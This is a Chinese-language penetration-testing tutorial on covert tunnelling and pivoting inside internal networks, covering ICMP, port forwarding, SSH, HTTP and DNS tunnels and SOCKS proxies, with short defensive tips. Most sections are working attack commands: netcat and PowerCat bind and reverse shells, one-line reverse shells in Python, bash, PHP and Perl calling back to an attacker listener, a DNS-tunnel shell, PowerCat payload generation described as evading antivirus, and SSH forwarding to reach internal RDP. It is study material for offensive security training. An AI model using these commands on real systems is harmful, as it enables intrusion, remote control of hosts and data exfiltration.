隐藏通信隧道技术
一、隐藏通信隧道基础知识
1. 隐藏通信隧道概述
什么是隧道?这里的隧道就是一种绕过端口屏蔽的通信方式。隐藏通信隧道技术常用于在访问受限的网络环境中追踪数据流向和在非受信任的网络中实现安全的数据传输。
常用的隧道技术:
网络层:IPv6隧道、ICMP隧道、GRE隧道
传输层:TCP隧道、UDP隧道、常规的端口转发。
应用层:SSH隧道、DNS隧道、HTTP隧道、HTTPS隧道
2. 判断内网的连通性
判断内网的连通性是指判断主机能否上外网等。常见的允许流量流出的端口有80、8080、443、53、110、123等。
2.1 ICMP协议
- ping:命令:ping <IP地址>
2.2 TCP协议
- netcat:“瑞士军刀”,简称“nc”。通过使用TCP/UDP的网络连接来读写数据。使用命令:nc -zv <IP 端口号>
2.3 HTTP协议
curl:curl是一个利用URL规则在命令行下工作的综合文件传输工具。
使用命令:curl < IP:端口号 >
2.4 DNS协议
nslookup(windows)
dig(linux)
2.5 代理服务器
有时候企业办公网利用代理服务器进行上网,判断方法:
查看网络连接
查看主机名是否有”proxy“的主机
查看IE的代理
二、网络层隧道技术
1. IPv6隧道
IPv6隧道技术是指通过IPv4隧道传送的IPv6数据报文的技术。为了使在IPv4网络中传递IPv6报文,可以将IPv4作为载体,将IPv6报文整体封装在IPv4数据报文中。
攻击方式:攻击者通过恶意软件来配置允许进行IPv6通信的设备。支持IPv6的隧道工具:socat、6tunnel、nt6tunnel等。
防御措施:了解IPv6漏洞,综合其他协议、设备来过滤IPv6通信。
2. ICMP隧道
攻击者可以将TCP/UDP数据封装在ICMP的ping包中,从而穿越防火墙。常见的icmp隧道工具:icmpsh、PingTunnel、icmptunnel、powershell icmp等
-
icmpsh
git clone https://github.com/inquisb/icmpsh.git 下载icmp
apt-get install python-impacket 安装python-impacket库
sysctl -w net.ipv4.icmp_echo_ignore_all=1 关闭系统ICMP应答(恢复则设置为0)
输入"./run.sh"并运行后输入目标的IP地址。
icmpsh.exe -t 192.168.1.7 -d 500 -b 30 -s 128 目标主机上运行此条命令,可在攻击机192.168.1.7上看到反弹的shell结果。
-
PingTunnel(可以为隧道加密)
-
在VPS与Web服务器上安装编译
tar xf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
遇到报错--解决
-
运行PingTunnel
服务器(IP:192.168.1.4):ptunnel -x shuteer
VPS:ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 3389 -x shuteer
-
参数说明:
-x 指定 icmp 隧道连接验证密码
-lp 指定要监听的本地 tcp 端口
-da 指定要转发的机器的 ip 地址
-dp 指定要转发的机器的 tcp 端口
-p 指定icmp隧道另一端机器的 ip 地址
-
3. 防御ICMP隧道攻击的方法
检测同一来源的ICMP数据包的流量,一个正常的icmp命令每秒最多发送2个数据包。
注意那些payload大于64bit的icmp数据包。
寻找响应数据包中的payload与请求数据包中的payload不一致的ICMP数据包。
检查ICMP数据包的协议标签。例如:icmptunnel会在所有的icmp payload前面添加”TUNL“标记来标识隧道。
三、传输层隧道技术
1. lcx端口转发
lcx是一个基于Socket套接字实现的端口转化工具,Windows版为lcx.exe,Linux版为portmap。Socket隧道必须具备两端:一端为服务端,监听一个端口,等待客户连接;另一端为客户端,通过传入服务端的IP地址与端口,才能主动与服务器连接。
- 内网端口转发
举例:将目标主机的3389端口的所有数据转发到公网VPS的4444端口上。在目标主机上执行命令,命令如下:
lcx.exe -slave <公网IP地址> 4444 127.0.0.1 3389
将VPS上的4444端口上监听的所有数据转发到5555端口上,命令如下:
lcx.exe -listen 4444 5555
然后在VPS上用mstsc登录主机127.0.0.1的5555端口,即可访问目标服务器的3389端口。
- 本地端口转发
如果目标服务器由于防火墙的限制,部分端口如3389的数据无法通过防火墙,这时就可以将目标服务器相应端口的数据透传到防火墙允许的端口如53。在目标主机上执行如下命令即可。
lcx -tran 53 <目标主机IP地址> 3389
2. netcat
netcat简称nc,作为安全界的瑞士军刀,功能非常强大。
2.1 安装
安装的具体步骤见www.baidu.com
2.2 简单使用参数
-d 后台模式
-e 程序重定向
-g <网关> 设置路由器跃程通信网关,最多可设置8个;
-G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
-h 在线帮助;
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 使用监听模式,管控传入的资料;
-n 直接使用IP地址,而不通过域名服务器;
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p <通信端口> 设置本地主机使用的通信端口;
-r 随机指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;
-u 使用UDP传输协议;
-v 详细输出;
-w <超时秒数> 设置等待连线的时间;
-z 将输入输出关掉,只在扫描通信端口时使用。
以上为netcat的参数信息,需要实现具体功能时到上网查具体的命令即可。
常用的具体功能有:
Banner抓取
连接远程主机
端口扫描
端口监听
文件传输
简易聊天
...
2.3 获取Shell
shell分两种,一种为正向shell,一种为反向shell。如果客户端连接服务器,客户端想得获取服务器的shell,就称为正向shell。如果客户端连接服务器,服务器想要获取客户端的shell,就称为反向shell。
- 正向Shell获取
目标主机上(IP:192.168.1.11)监听4444端口:
nc -lvp 4444 -e /bin/sh //linux
nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe //windows
注:-l 表示监听模式,-v表示详细输出,-p 指定端口
VPS连接目标主机的4444端口:
nc 192.168.1.11 4444
- 反向Shell获取
本地主机(VPS)监听9999端口:
nc -lvp 9999
在目标主机上进行连接:
nc 192.168.11.144 9999 -e /bin/sh //linux
nc 192.168.11.144 9999 -e C:\WINDOWS\system32\cmd.exe //windows
2.4 在目标主机中没有nc时获取反向Shell
2.4.1 python反向Shell
- VPS上监听本地2222端口:
nc -lvp 2222
- 在目标主机上执行命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
2.4.2 bash反向Shell
- VPS上监听本地4444端口:
nc -lvp 4444
- 在目标主机上执行命令:
bash -i >& /dev/tcp/192.168.1.4/4444 0>&1
2.4.3 PHP反向Shell
- 在VPS上监听本地2222端口:
nc -lvp 2222
- 在目标主机上执行下面命令:
php -r '$sock=fsockopen("192.168.1.4",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
3.4.4 perl反向Shell
- 在VPS上监听本地4444端口
nc -lvp 4444
- 如果目标机上使用的是Perl语言,则我们可以使用Perl来建立反向Shell。目标主机上执行命令:
perl -e 'use Socket;$i=”192.168.1.4″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};'
2.5 内网代理
拓扑图如下:
测试环境:攻击者VPS(KALI);一个小型内网;三台服务器。假设已经取得Web服务器权限,kali不能访问数据库服务器linux,web服务器可以访问数据库服务器。
测试目标:获取数据库服务器的shell。步骤如下:
- 首先要在VPS上监听3333端口
nc -lvp 3333
- 数据库服务器上允许命令:
nc -lvp 3333 -e /bin/sh
- 最后在web服务器上执行命令:
nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"
注:-e 表示程序重定向,-c 执行命令
3. PowerCat
PowerCat可以说是nc的PowerShell版本,PowerCat可以通过执行命令回到本地运行,也可以使用远程权限运行。里面也加入了众多好用的功能,如文件上传,smb协议支持,中继模式,生成payload,端口扫描等等。
3.1 下载PowerCat
具体下载安装步骤百度即可。
3.2 测试环境
环境介绍:
Kali:192.168.227.129;
Windows7:192.168.227.161、192.168.130.150
Windows server 2008:192.168.130.100
3.3 通过nc正向连接PowerCat
- Windows7执行命令:
powercat -l -p 8080 -e cmd.exe -v
- Kali上运行:
nc 192.168.277.161 8080 -vv
注:-l 监听模式;-p 指定监听端口;-e 指定要启动进程的名称;-v 显示详情
3.4 通过nc反向连接PowerCat
- Kali上运行:
netcat -l -p 8888 -vv
- 在Windows7上运行下面命令:
powercat -c 192.168.56.129 -p 8888 -v -e cmd.exe
注:在Windows下,-c 表示参数用户提供想要连接的IP地址
3.5 通过PowerCat返回PowerShell
前面的操作都是可以与nc进行交互的,但是,如果想要返回Powershell,则无法与nc进行交互。下面介绍让Windows7与Windows Server 2008建立正向连接。
- 在Windows7下执行命令:
powecat -l -p 8080 –v
- 在Windows Server 2008下执行命令:
powercat -c 192.168.130.150 -p 8080 -v –ep
注:-ep 参数用于返回PowerShell
3.6 通过PowerCat传输文件
- Windows7下执行命令:
powercat -l -p 8080 -of c:\Users\ctfwin7\Desktop\flag.txt -v
- Windows Server 2008下执行命令:
powercat -c 192.168.130.150 -p 8080 -i c:\flag.txt -v
上述命令的解释是:Windows Server 2008将文件c:\flag.txt通过端口8080传输给Windows7,Windows7将文件存放于c:\Users\ctfwin7\Desktop\下,
注:-i 输入;-of 输出文件名
3.7 用PowerCat生成Payload(躲避杀软)
- Windows7下执行:
powercat -l -p 8080 -e cmd -v -g >> shell.ps1 //想反弹shell
powercat -l -p 8080 -ep -v -g >> shell.ps1 //想反弹PowerShell
- 将生成的shell.ps1拿到Windows server 2008下执行:
./shell.ps1
- 最后Windows7上执行下面命令即可获得反弹的shell
powercat -c 192.168.130.100 -p 8000 -v
PS:也可以使用-ge生成编码后的脚本,然后直接使用powershell -e <编码>进行执行。
3.8 PowerCat DNS隧道
PowerCat也是一套基于DNS通信,PowerCat的DNS的通信是基于dnscat设计的(其服务端就是dnscat)。
- 在kali下下载安装dnscat(请百度)
- kali下执行:
ruby dns2.rb ms08067.test -e open --no-cache
- Windows7下执行以下命令后就可以在kali看到dnscat上反弹的Shell了。
powercat -c 192.168.227.129 -p 53 -dns ms08067.test -e cmd.exe
注:-dns 表示使用DNS通信。
3.9 将PowerCat作为跳板
将win7作为跳板,让Kali连接winserver2008。
- Windows server 2008下执行:
Powercat -l -v -p 9999 -e cmd.exe
- Windows 7下执行:
Powercat -l -v -p 8000 -r tcp:192.168.130.100:9999
- Kali下执行:
nc 192.168.227.161 8000 –vv
最后,kali和win7进行连接,且win7就可以将流量转发给winserver2008了。
四、应用层隧道技术
应用层的隧道通信技术主要利用应用软件提供的端口发送数据。常用的隧道协议有SSH、HTTPS/HTTPS与DNS。
1. SSH隧道
1.1 SSH简介
-
SSH 端口转发能够提供两大功能:
1.加密 SSH Client 端至 SSH Server 端之间的通讯数据。
2.突破防火墙的限制完成一些之前无法建立的 TCP 连接。
-
用户名密码登录原理
1.远程主机收到用户的登录请求,把自己的公钥发给用户
2.用户使用该公钥,将登录密码加密后,发送给远程主机。
3.远程主机用自己的私钥,解密登录密码,如果密码正确,就用户登录。
在学习SSH隧道之前,先复习下SSH的配置文件吧。SSH的配置文件:/etc/ssh/sshd_config,下面是一些安全加固的选项。
AllowTcpForwarding yes #是否允许转发TCP协议
GatewayPorts yes #是否允许远程主机连接本地转发端口
PermitRootLogin yes #是否允许root登录
PasswordAuthentication yes #是否允许使用基于密码的认证
TCPKeepAlive yes #保持心跳,防止 ssh 断开
1.2 本地端口转发
测试环境:外部VPS可以访问内网Web服务器,但是不能访问数据库服务器;内网Web服务器和数据库服务器可以相互访问。
拓扑图:
渗透思路:以web服务器192.168.1.11为跳板,将内网数据库服务器1.1.1.10的3389端口映射到VPS机器192.168.1.10的2121端口,再次访问VPS的2121端口,就可以访问1.1.1.10的3389端口了。
在VPS上执行以下命令,会要求服务Web服务器(跳板机)的密码。
ssh –CfNg –L 2121(VPS端口):1.1.1.10(目标主机IP):3389(目标端口) root@192.168.1.11
- 在VPS上访问1153端口后,就可以发现已经与数据库服务器1.1.1.10的3389端口建立了连接。
rdesktop 127.0.0.1:1153
-
一些参数解释:
-C 压缩传输,加快传输速度。
-f 将SSH转入后台执行,不占用当前的shell。
-N 建立静默连接(建立了连接,但是看不到具体会话)。
-g 允许远程主机连接到本地用于转发的端口。
-L 本地端口转发。
-R 远程端口转发。
-D 动态转发(socks代理)。
-P 指定SSH端口。
1.3 远程端口转发
测试环境:外部VPS不能访问内网Web服务器,但是Web服务器可以访问外网VPS,但是数据库服务器与域控都不能访问VPS。目标:通过外网VPS访问数据库服务器的3389端口。
拓朴图
渗透思路:以web服务器192.168.1.11为跳板,将VPS的3307端口的流量转发到1.1.1.10的3389端口,然后访问VPS的3307端口,就可以访问1.1.1.10的3307端口。
在web服务器1.1.1.116上执行如下命令:
ssh -CfNg -R 3307(VPS端口):1.1.1.10(目标主机IP):3389(目标端口) root@192.168.1.10
- 在本地访问VPS的端口3307,就可以发现已经与数据库服务器1.1.1.10的3389端口建立了连接。
rdesktop 127.0.0.1:3307
1.4 动态转发
动态端口映射就是建立一个SSH加密的SOCKS 4/5代理通道,任何支持SOCKS 4/5协议的程序都可以使用这个加密通道进行代理访问。
- 拓朴图
- 在VPS上执行下面命令后,再输入Web服务器的密码。
ssh -CfNg -D 7000 root@192.168.1.11
在本地打开浏览器。设置网络代理,设置SOCKS host为127.0.0.1,Port为7000。最后通过浏览器访问内网域控制器1.1.1.2。
本地主机查看SSH进程正在监听7000端口:
netstat tunpl | grep ":7000"
1.5 防御SSH隧道攻击的思路
SSH隧道之所以被利用,主要是因为系统的访问控制措施还不够,可以从以下几点来防御SSH隧道攻击。
在系统中设置SSH远程访问控制白名单,在ACL中限制只允许特定的IP地址才能连接SSH,系统设置完全带外管理等。
内网限制SSH远程登录的地址与双向访问控制策略。
2. HTTP/HTTPS协议
2.1 简介
HTTP Service代理用于将所有的流量转发到内网,常见的代理工具有reGeorg、meterpreter、tunna等。
reGeory的特征非常明显。reGeory支持ASPX、PHP、JSP等Web脚本。
2.2 攻击步骤:
1.将脚本文件上传至目标服务器中,使用Kali 在本地访问远程服务器上的脚本文件,返回后,利用reGeorySocksProxy.py脚本监听本地的端口,即可建立一个通信链路。
python reGeorySocksProxy.py -u http://远程服务器IP:8080/tunnel.jsp -p 9999(本地端口)
隧道正常工作后,可以在本地kali 机器上使用ProxyChains之类的工具,访问目标内网中的资源。
2.3 防御
严格监控http隧道的情况,及时发现问题。
3. DNS协议
3.1 DNS隧道简介
用户管理僵尸网络和进行APT攻击的服务器叫做C&C服务器(Command and Control Server,命令及控制服务器)。C&C节点分为两中种,一种是C&C服务端(攻击者),另一种是C&C客户端(被控制的计算机)。C&C通信是指植入C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信。
DNS隧道的工作原理很简单:在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果,如果互联网上有一台定制的服务器,那么依靠DNS协议就可以进行数据包的交换,从DNS协议的角度来看,这样的操作只是一次次地查询某个特定的域名并且得到解析结果,但其本质的问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。简单地说,就是将其他协议封装在DNS协议中进行传输。
3.2 常用工具及攻击过程
-
dnscat2
在VPS上部署域名解析
在VPS上安装dnscat2服务端
在目标主机上安装客户端
反弹shell
iodine
3.3 防御DNS隧道攻击的方法
禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信。
将邮件服务器/网关列入白名单并阻止传入和传出的流量中的txt请求。
跟踪用户的DNS查询次数。
阻止ICMP。
五、SOCKS代理
1. SOCKS代理简介
SOCKS是一种代理服务,可以将一端的系统连接到另一端。SOCKS支持多种协议,包括HTTP、FTP等。SOCKS分为 SOCKS4 与 SOCK5 两种类型:SOCKS4 只支持TCP协议;SOCKS5 不仅支持TCP/UDP协议,还支持多种身份验证机制等,其标准端口号为1080。SOCKS能与目标内网计算机进行通信,避免多次端口转发。
SOCKS代理可以理解为增强版的lcx。它在服务端监听一个服务端口。当有新的连接请求出现时,会先从SOCKS协议中解析目标的URL的目标端口,再执行lcx的具体功能。
正向代理简单来说就是主动通过代理去访问目标服务器,反向代理是指目标服务器通过代理来主动连接。
2. 常用的SOCKS工具
-
EarthWorm(EW)
正向代理
反向代理
reGeory
sSocks
SocksCap64
Proxifier
ProxyChanis
六、压缩数据
1. RAR
1.1 以rar格式压缩/解压
将E:\webs\目录下的所有内容打包为1.rar放入E:\webs\目录下
rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs\
将E:\webs\1.rar解压到当前根目录下
rar.exe e E:\webs\1.rar
注:参数 e 表示解压到当前根目录下。 x 表示以绝对路径解压。
1.2 分卷压缩/解压
分卷压缩E盘API目录下的所有文件及文件夹,设置每个分卷为20M
rar.exe a -m0 -r -v20m E:\test.rar E:\API
将E:\test.part01.rar解压到E盘的x1目录下
rar.exe x E:\test.part01.rar E:\x1
2. 7-Zip
七、文件上传与下载
1. 利用FTP上传
2. 利用VBS上传
3. 利用Debug上传
4. 利用Nishang上传
Nishang是一个Powershell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段。
5. 利用bitsadmin下载
6. 利用Powershell下载
注:这里说声抱歉。由于内容太多、不易手打,这里就只是介绍某些概念。一些具体操作可百度查找资料或购买书籍《内网安全攻防·渗透测试实战指南》查阅。